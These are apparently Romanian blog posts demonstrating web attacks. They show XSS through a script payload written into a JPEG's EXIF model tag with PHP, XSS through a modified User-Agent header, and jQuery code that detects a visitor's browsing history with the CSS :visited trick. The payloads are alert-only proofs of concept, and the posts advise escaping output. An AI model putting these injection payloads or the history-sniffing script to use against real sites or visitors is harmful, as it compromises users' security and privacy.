XSS folosind Exif metadata

In continuarea postului despre XSS folosind headerele de HTTP, azi va prezint XSS folosind exif metadata.

Sunt multe situri de fotografie care afiseaza cateva din tagurile de exif ale imaginilor uploadate de catre utilizatori (modelul camerei, distanta focala etc). Daca informatiile preluate din headerele de jpeg nu sunt sanitizate corespunzator, aceste situri sunt vulnerabile la atacuri de tip XSS.

Am facut un mic test. Pentru asta aveam nevoie sa gasesc o modalitate de a modifica exif metadata. Dupa un mic research, am gasit doua variante. Una dintre ele e sa folosesc ImageMagick cealalta e o clasa PHP, numita PEL (PHP Exif Library). Am optat pentru libraria PHP.

Pentru inceput, sa modificam tagul de camera model din exif. Downloadam libraria in folderul pel. Luam o imagine de test (test.jpg) caruia ii modificam tagul model cu textul “EOS 20D <script>alert(“XSS”)</script>”. Imaginea modificata o salvam cu numele xss_test_image.jpg.

<?php

require_once(‘pel/PelJpeg.php’);

$jpeg = new PelJpeg(‘test.jpg’);

$ifd0 = $jpeg->getExif()->getTiff()->getIfd();

$entry = $ifd0->getEntry(PelTag::MODEL);
$entry->setValue(‘EOS 20D <script>alert(“XSS”)</script>’);

file_put_contents(‘xss_test_image.jpg’, $jpeg->getBytes());

?>

Acum facem un alt scriptulet cu care citim exif metadata si o afisam:

<?php

$exif = exif_read_data(‘xss_test_image.jpg’, 0, true);

foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo $key,’.’,$name,’: ‘, htmlspecialchars($val),”<br />\n”;
}
}

?>

Observam ca tagul IFD0.Model a fost modificat cu succes. Happy hacking!

Puteti downloada imaginea modificata aici.

Cum sa faci XSS si SQL injection folosind headerele de HTTP

Sunt multe situri care logheaza date despre utilizatori (IP, user agent etc). In cele mai multe cazuri, informatia luata din headerul de HTTP nu este escapata. Asta poate duce la atacuri de tip XSS si SQL injection.

Cum se poate face un XSS sau un SQL injection folosind headerul de HTTP? Simplu:

1. Se instaleaza pluginul de Firefox Modify Header.

2. Ca exemplu am modificat headerul de USER_AGENT cu urmatorul script:

<script type=”text/javascript”>// <![CDATA[
alert(“Esti vulnerabil la XSS”)
// ]]></script>

3. Pentru test, am facut un php care face un var_dump la variabila $_SERVER

<?php echo “<pre>”,var_dump($_SERVER), “</pre>”;?>

La rularea scriptului php imi apare un alert cu mesajul Esti vulnerabil la XSS.

Pentru a preveni astfel de atacuri, intodeauna escapati orice se afiseaza sau se introduce in baza de date.

Evil Javascript – Privacy

Cum poti afla pe ce situri a mai intrat un vizitator de-al sitului tau?
In felul urmator:
– Injectezi, folosind Javascript, in DOM linkuri ascunse catre siturile respective.
– Linkurile vizitate au atributul css “a:visited” iar cele nevizitate “a:link”.
Am facut si un mic exemplu folosind jQuery:

<script type=”text/javascript”>
urls = [
‘http://www.220.ro’,
‘http://www.hotnews.ro’,
‘http://www.cnn.com’,
‘http://www.google.com’,
‘http://www.bancosul.ro’,
‘http://www.jquery.com’,
‘http://www.inmh.ro’,
‘http://www.w3schools.com’
];

addLinks =  function(){
$(‘body’).append(this+'<a href=”‘+this+'” style=”display:none”>’+this+'</a><br />’);
}

$(‘body’).append(‘<br /><b>Din urmatoarele linkuri:</b><br/><br />’);

//Adaug linkurile in DOM
$.each( urls, addLinks );

$(‘body’).append(‘<br /><br /><b>Ai intrat pe:</b><br/><br />’);

//Afisez siturile vizitate
$(‘a:visited’).each(addLinks);

$(‘body’).append(‘<br /><br /><b>Nu ai intrat pe:</b><br/><br />’);

//Afisez siturile nevizitate
$(‘a:link’).each(addLinks);

</script>